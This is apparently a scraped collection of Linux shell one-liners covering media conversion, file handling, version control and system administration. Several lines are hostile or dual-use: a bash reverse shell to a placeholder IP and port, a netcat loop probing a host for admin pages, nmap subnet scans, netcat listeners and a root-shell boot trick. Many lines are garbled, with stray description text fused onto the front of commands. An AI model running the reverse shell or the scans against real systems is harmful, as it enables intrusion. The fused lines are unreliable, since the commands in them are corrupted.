for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done
echo $(( 1+1 ))
echo "$math_expr" | bc -l
them into two.mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=-700000 -ofps 30000/1001 -o '<outputfile.avi>'
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
sed -n '1,/regex/p' filename
echo <command>; !#:0-$
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cert/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX'
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg
nohup <command> 2> /dev/null > /dev/null &
perl -p -i -e 's/this/that/g' filename
ubuntu-bug
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c
nslookup -q=txt <topic>.wp.dg.cx
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
wget -q http://xyz.gpg -O- | sudo apt-key add -
echo foo | netcat 192.168.1.2 25
mount -t iso9660 /dev/cdrom /media/cdrom
Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234
nm --dynamic <libfile.so>
awk '{print length, $0;}' | sort -nr
cat SomeFile.txt | pbcopy
sed 's/^/$ /' "$script" | xclip
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo pid:6,user:8,comm:10,$p kpid -A;done
composite -dissolve 30% -tile watermark.png input.png output.png
roxy)cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; }
du -hc *
find directory -size +nnn
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
ls | sed "/^/=" | sed "N;s/\n/. /"
ng.curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n
du -hd 1
(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
sort -R
init=/bin/bash; mount -o remount,rw /
tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g'
n.find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;
sed -r 's_(/[^>]*?>)_\1\n_g' filename.html
echo $PATH | tr : \\n
oryfind . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
cursivelyfind . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
reset
reensyes "text" | annoying_installer_program # "text" defaults to the letter y
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
uts it back into the clipboard.pbpaste | tidy -xml -wrap 0 | pbcopy
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' [email protected]
alias differ='sdiff --suppress-common-lines'
rm -r .[!.]*
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
date --date=yesterday +%Y%m%d
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
rpm -q --qf "%{VERSION}\n" redhat-release
yping -q -c 1 www.google.com|awk -F/ 'END{print $5}'
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
php -r phpinfo();
seq 1000 | paste -sd+- | bc
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'
ed the power of vmstat,iostat,mpstat,df,free,sar .dstat -afv
tempfile=$(/bin/mktemp)
find . -printf '%d\n' | sort -n | tail -1
find / -xdev -print | cpio -pdmuv /mnt/mydisk
cdrecord dev=0,0,0 -v -eject yourimage.iso
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
tunnelssh -NL 2000:remotehost:22 remotehost
:set nomore :argdo %s/foo/bar/g | update
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
jar -tf file.jar
date -d2009-05-18 > /dev/null 2>&1 ; echo $?
sudo tune2fs -m 1 /dev/sda4
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
alias restart='apache2ctl configtest && apache2ctl restart'
grep -Fvf file1 file2 > file-new
sed -e :a -e '/$/N;s/\n/ /;ta' <filename>
lsof -bw -d cwd -a -c java
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
vlc -I ncurses <MEDIA_DIR>
checkrestart
echo <percentage> | sudo dd of=/proc/acpi/video/VGA/LCD/brightness
lsof -Pn | grep LISTEN
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
telnet somehost 1234, <ctrl+5> close
cssh 192.168.125.{1..200}
pdftk pdfname.pdf cat 1E output outputname.pdf
svn propset svn:executable ON filename
mailx [email protected] -s "HTML Hello" -a "Content-Type: text/html" < body.htm
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
tar cfz backup-$(date --iso).tar.gz somedirs
nc -l 8000
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
tr -c -d 0-9 < /dev/urandom | head -c 10
if (nc -zw2 www.example.com 80); then echo open; fi
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
img test.jpg
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end of month'
wait $!
cat /proc/acpi/thermal_zone/THRM/temperature
git log --oneline <REMOTE>..<LOCAL BRANCH>
sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
echo $(( $(echo 1 "* "{2..10}) ))
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
git status | grep deleted | awk '{print $3}' | xargs git rm
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
ip route list match 0.0.0.0/0 | cut -d " " -f 3
alias whichall='{ command alias; command declare -f; } | command which --read-functions --read-alias -a'
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
sed -i 's/OLD/NEW/g' FILE
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
echo 'mail -s "Call your wife" [email protected]' |at now+15min
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r [email protected] > password.gpg
rpm -qa \*code\*
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
Diff files over SSH: ssh [login]@[host] "cat [remote file]" | diff - "[local file]"
tail -f logfile.log | cut -b 1-80
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
ar -x package.deb
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
awk '{gsub("<[^>]*>", "")}1' file
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
find . -name "*.sql" -print0 | wc -l --files0-from=-
cat /proc/acpi/ac_adapter/AC0/state
ls -F | grep '*$'
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv
perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
exportfs -o fsid=0,rw :/home/jason
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2
python -m SimpleHTTPServer
python -c "import sys;print (sys.byteorder) + ' endian'"
for a in *; do mv $a prefix${a}; done
xmms2 pause && echo "xmms2 play" | at now +5min
openssl base64 -in base64.decoded.txt -out base64.encoded.txt
ls -t | tail +6 | xargs rm
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
git log --pretty=oneline
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)
tr "[:upper:]" "[:lower:]" < file
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
quietly() { "$@" > /dev/null 2>&1; }
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"'
perl -pi -e 's/THIS/THAT/g' fileglob*
k Clickscurl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"
shopt -s checkwinsize
!-2 && !-1
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.ssh/id_rsa"
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>
find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
python -m SimpleHTTPServer
acpi -b
nmap -p 22 --open -sV 192.168.2.0/24
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
seq -f"%g^2" -s "+" 10 | bc
cat *.mpg > all.mpg
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
munpack file.txt
find . -name '*.?pp' | xargs grep -H "string"
echo "e("{1..8}");" | bc -l
echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
xwininfo
xset r rate 250 120
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
rename 's/foo/bar/g' ./*
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
sort -R file.txt | head -1
svn log --revision {`date +%Y-%m-%d`}:HEAD
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
iny X resolutionxrandr -s 0
lsof | egrep "^COMMAND|deleted"
skype --disable-cleanlooks -style GTK
find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
blockdev --setra 1024 /dev/sdb
setarch i386 [command [args]]
nd folders.find . -mmin -60 -not -path "*svn*" -print|more
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }
echo -n "text" | od -A n -t x1 |sed 's/ /\\x/g'
grep ^[^#] /etc/file.conf
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; ); echo "$cmd"
sed 's/^M$//' input.txt > output.txt
git show --relative --pretty=format:'' --name-only HASH
cat /etc/passwd | column -nts:
cat /dev/mem > /dev/audio
aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`))
nmap -p 22 10.3.1.1/16 | grep -B 4 "open"
pdfnup --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf
pwgen 30 1
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1
git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}' | xargs git checkout HEAD
curl -s http://sputnick-area.net/ip
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
find . -type f -exec chmod -x {} \;
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
~
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest
find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
cut -f N- file.dat
a bit)mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INTO OUTFILE '/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';
a bit)mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
sudo grub-install --recheck /dev/sda1
watch -n 10 'du -sk testfile'
etchanging_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print $2}' | sed s_#{preprod_release_dir}/web__`
ls -t1 | head -n1
for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
watch 'netstat -aniv'
flac --best *.wav
tail -f error_log | nc -l 1234
ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' -w -" | wireshark -k -i -
oggenc *.wav
kill HUP `pidof '/usr/bin/X'`
(on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;
e buffer.smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )
ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv
iginal.for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass file:/tmp/password-file ; done
for file in *.png; do convert "$file" "$(basename $file .png).gif"; done
cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o newer" || printf "Sites web page appears to have updated.\n\nSuggest you check it out.\n\n"|mail -s "Sites page updated." [email protected]
while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$(less commander)"; > commander; fi; done
gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type f | shuf -n1)"
echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
wvPDF test.doc test.pdf
ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"
awk '{sub("String","",$0); print $0}' file
rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000
time Command >/dev/null
sedi(){ case $# in [01])echo usage: sedi cmds file;;2)sed -an ''"$1"';H;$!d;g;w '"$2"'' $2;;esac;}
scapes and metacharsL(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; }
ilter across the input files and diff the output.fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); }
alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; import -frame $IMAGE; echo "Image saved as $IMAGE"'
awk '{sub("String","")}1'
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service
find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \;
sole and return URI.listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;}
perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
mvim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
sort -bdf
cat count.txt | awk '{ sum+=$1} END {print sum}'
alias setvol='aumix -v'
ationdu -sh */
git diff --cached
:1,$d
tar -tf file.tar | tar -T - -uf file.tar
cat myfile.txt | tr -d '\n'
od -An -N10 -x /dev/random | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'
sudo lsof -p1234 | grep -E "(3r|4w).*REG"
cd -
sudo dmidecode -t 5,16
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink location="${i%.flac}.wav"; done
sudo dmidecode -t processor
:%v/./,/./-j
cat filename | mail -s "Email subject" [email protected]
git log --graph --pretty=oneline --decorate
t the IP and hits if hits > 20tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}'
echo $(shuf -n 6 -i 1-49 | sort -n)
yes 'clear;printf "\n\n\n\n\t\t\t`date`\n";sleep 1' | sh
sys.for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>€ \([0-9]*[,.][0-9]*\).*/\1/g"; done
find . -type d -exec du -sk '{}' \; | awk '{ if ($1 <2000) print $0 }' | sed 's/^[0-9]*.//'
rename 's/ /-/g' *
watch -t -n1 'date "+%r %F %A"'
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4
paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
find . -mtime +10 -delete
LASTMONTHNUM=`date -d "last month" +%m`
dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1
lame --mp3input -m m --resample 24 input.mp3
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
rename 's/foo/bar/g' foobar
ls /mnt/badfs &
[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" [email protected]
echo $(cat file)
git log --all --pretty=format:" " --name-only | sort -u
sed -i '/pattern/N; s/\n//' filename
while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}'
find . -type d -exec mkdir -p $DESTDIR/{} \;
phoneffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4
bash -i >& /dev/tcp/IP/PORT 0>&1
lsof -nPi | txt2html > ~/lsof.html
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
curl -s ip.appspot.com
perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], username => "YOUR USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR TWEET");'
sudo foremost -i /dev/sda -o /recovery
%1 &!
grep -v "\ *#\|^$" /etc/path/to.config
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
awk '(length>t) {t=length} END {print t}' *.cpp
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done;
eval $(date +"day=%d; month=%m; year=%y")
ffmpeg -i source.flv -vn acodec copy destination.mp3
xmodmap -e "remove Lock = Caps_Lock"
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv mytarget.flv
history -c
PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @'
perl -ne 'print if !$a{$_}++'
awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[$3]=$0;} ' /etc/passwd | sort -t: -k3 -n | sed -e 's/^/'$(hostname)':/g'
pfexec !!
$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
ps ax | grep -c [c]at
xmms2 list | grep '^\s\+\[' | wc -l
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
dscacheutil -flushcache
dig +short google.com
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
mplayer -af scaletempo -speed 1.5 file.avi
:g/^\s*$/,/\S/-j|s/.*//
:Sex
mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
google picasa list-albums |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ picasa\ get\ /|awk ' {print $0,"."}'
mv file.png $( mktemp -u | cut -d'.' -f2 ).png
dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\n"'
rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path
yelp man:foo
curl -s http://whatismyip.org/
watch -n1 'ifconfig eth0|grep bytes'
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
find . -type f -print0 | xargs -0 grep -i <pattern>
echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
grep -c ^processor /proc/cpuinfo
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less
getent services <port_number>
vim -u NONE yourfile
e2label /dev/vg0/lv0 MyFiles
acpi -tc
renice 19 -p $$
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less
ip route show dev eth0 | awk '{print $7}'
result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')
for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done
svn up -rREV file
echo "!!" | pbcopy
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
